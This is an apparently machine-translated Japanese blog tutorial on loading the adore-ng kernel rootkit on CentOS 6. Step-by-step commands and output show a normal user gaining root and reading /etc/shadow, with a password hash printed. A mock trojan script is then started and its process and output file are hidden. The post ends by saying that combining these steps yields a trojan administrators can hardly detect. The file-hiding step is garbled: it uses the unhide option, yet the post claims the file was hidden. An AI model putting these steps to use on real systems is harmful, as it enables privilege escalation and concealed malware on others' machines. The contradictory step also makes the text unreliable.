Rootkitのadore-ngシミュレーション木馬ウイルス

10020 ワード

Rootkitは特殊な悪意のあるソフトウェアで、その機能はインストール先に自身や指定したファイル、プロセス、ネットワークリンクなどの情報を隠すことであり、Rootkitは一般的に木馬、バックドアなどの他の悪意のあるプログラムと組み合わせて使用されていることが多い.
私たちの生活の中で、よく見るドラマのスパイ戦映画には欠かせない人物--潜伏者がいる.その職責は:良好な偽装は相手に長い間気づかなかった.彼は敵の信頼を勝ち取って要職に就いたので、重要な情報を絶えず入手し、独特のルートを利用して伝えることができた.
私たちが今日シミュレーションして学ぶのは、それに似た悪意のあるソフトウェアRootkitの1つです.adore-ng
環境:Centos 6
ここで使用する2つのリソース(ダウンロード可能):
  • adore-ng-master.zip -link
  • kernel-devel-2.6.32-754.27.1.el6.x86_64.rpm -link

  • インストールadore-ng
    インストール依存:kernel-devel-2.6
    [root@Fp-01 ~]# yum -y install kernel-devel-2.6.32-754.27.1.el6.x86_64.rpm 
    Loaded plugins: fastestmirror, security
    Setting up Install Process
    ……
    Installed:
      kernel-devel.x86_64 0:2.6.32-754.27.1.el6                                                                                          
    Complete!
    

    解凍インストールadore-ng
    [root@Fp-01 ~]# unzip adore-ng-master.zip
    [root@Fp-01 ~]# cd adore-ng-master
    [root@Fp-01 adore-ng-master]# ll
    -rw-r--r--. 1 root root  1143 Dec 30  2015 Makefile
    #     makefile   ,   make -j 4     
    [root@Fp-01 adore-ng-master]# make -j 4
    

    ロードモジュール
    [root@Fp-01 adore-ng-master]# insmod adore-ng.ko
    

    ヘルプの表示
    [root@Fp-01 adore-ng-master]# ./ava
           I print info (secret UID etc)	
           h hide file	#     
           u unhide file	#       
           r execute as root	#  root    
           R remove PID forever	#     PID
           U uninstall adore	#    adore
           i make PID invisible	#   PID
           v make PID visible	#     PID
    

    一般ユーザーの権利はrootです
    普通のユーザーを追加してテストして使用します
    [root@Fp-01 ~]# useradd tom
    [root@Fp-01 ~]# echo "123456" | passwd --stdin tom
    Changing password for user tom.
    passwd: all authentication tokens updated successfully.
    

    ユーザーがrootホームディレクトリにアクセスできないため、adore-ngを/tmpにコピーします.cp-r:再帰コピー
    [root@Fp-01 ~]# cp -r adore-ng-master /tmp/
    

    ユーザーを切り替え、tomユーザーを使用してサーバーにログインする
    [root@Fp-01 ~]# ssh [email protected]
    Are you sure you want to continue connecting (yes/no)? yes
    [email protected]'s password: 
    [tom@Fp-01 ~]$ whoami
    tom
    

    テスト、編集/etc/shadow
    [tom@Fp-01 ~]$ vim /etc/shadow                                                                     ……                     
    "/etc/shadow" [Permission Denied] 
    

    権限が拒否された場合、avaの権限が必要になることがわかります.
    [tom@Fp-01 ~]$ /tmp/adore-ng-master/ava r vim /etc/shadow
    56,501,501,56
    Adore 1.56 installed. Good luck.
    root:$6$tQrXvHNXMxM6eTuN$WJWqoN5bYKuy/PVxpVeWYLCCZ32OCur1rjHIvHOOytjLPPxRMV3jRB6IbENgA2ZBDWI0cwEOTBSwVnmmQlyT7.:18172:0:99999:7:::
    bin:*:15980:0:99999:7:::
    daemon:*:15980:0:99999:7:::
    adm:*:15980:0:99999:7:::
    ……
    

    別の端末でプロセスを表示します.ユーザーIDはrootで、提権が成功したことを示します.
    [root@Fp-01 ~]# ps -ef |grep /etc/shadow
    root      32703  30867  0 12:03 pts/3    00:00:00 vim /etc/shadow
    root      32727  32667  0 12:03 pts/4    00:00:00 grep /etc/shadow
    

    木馬プロセスを隠す
    木馬プログラムの編集をシミュレート
    [tom@Fp-01 opt]$ /tmp/adore-ng-master/ava r mkdir script
    56,501,501,56
    Adore 1.56 installed. Good luck.
    [tom@Fp-01 opt]$ ll
    total 4
    drwxrwxr-x. 2 root root 4096 Feb 13 12:09 script
    [tom@Fp-01 script]$ /tmp/adore-ng-master/ava r vim a.sh
    56,500,500,56
    Adore 1.56 installed. Good luck.
    #!/bin/bash
    
    while :
    do
            echo `This is the virus` >> date.txt
            sleep 1
    done
    

    簡単なシミュレーション木馬プログラム、出力「これはウイルス体です」、実行権限を加えて、バックグラウンドで実行
    [tom@Fp-01 script]$ /tmp/adore-ng-master/ava r chmod +x a.sh
    56,501,501,56
    Adore 1.56 installed. Good luck.
    [tom@Fp-01 script]$ /tmp/adore-ng-master/ava r ./a.sh &
    [1] 33987
    [tom@Fp-01 script]$ 56,501,501,56
    Adore 1.56 installed. Good luck.
    

    まずプロセスを表示し、プロセス番号を通過します.
    [tom@Fp-01 script]$ ps -ef |grep 33987
    root      33987  30867  0 12:14 pts/3    00:00:00 /bin/bash ./a.sh
    root      34137  33987  0 12:14 pts/3    00:00:00 sleep 1
    tom       34139  30867  0 12:14 pts/3    00:00:00 grep 33987
    

    次に、ハッカーの非表示プロセスをシミュレートすることができます.
    [tom@Fp-01 script]$ /tmp/adore-ng-master/ava i 33987
    56,501,501,56
    Adore 1.56 installed. Good luck.
    Made PID 33987 invisible.
    

    非表示に成功しました.このとき、プロセスが非表示になっていることを確認します.
    [tom@Fp-01 script]$ ps -ef |grep 33987
    tom       34139  30867  0 12:14 pts/3    00:00:00 grep 33987
    

    大技:ファイルを隠す
    まず/optディレクトリのファイル情報を表示します
    [tom@Fp-01 ~]$ ll /opt/
    total 4
    drwxrwxr-x. 2 root root 4096 Feb 13 12:14 script
    [tom@Fp-01 ~]$ ll /opt/script/
    total 32
    -rwxrwxr-x. 1 root root    77 Feb 13 12:13 a.sh
    -rw-rw-r--. 1 root root 24737 Feb 13 12:24 date.txt
    [tom@Fp-01 ~]$ tree /opt/
    /opt/
    └── script
        ├── a.sh
        └── date.txt
    

    非表示date.txtをシミュレートします
    [tom@Fp-01 script]$ /tmp/adore-ng-master/ava u date.txt
    56,500,500,56
    Adore 1.56 installed. Good luck.
    File 'date.txt' is now visible.
    

    この時点で確認すると、ファイルが見つかりませんでした
    [root@Fp-01 script]# tree /opt/
    /opt/
    └── script
        └── a.sh
    [root@Fp-01 ~]# ll /opt/script/
    total 48
    -rwxrwxr-x. 1 root root    77 Feb 13 12:13 a.sh
    

    root権限の付与->親プロセスの非表示->親プロセスの開始サブプロセス(ウイルス体)->フォルダの非表示
    最終的に結合すると、木馬ウイルスが完成し、システム管理者は発見しにくい.
    思想を込めたブログだけが良いブログ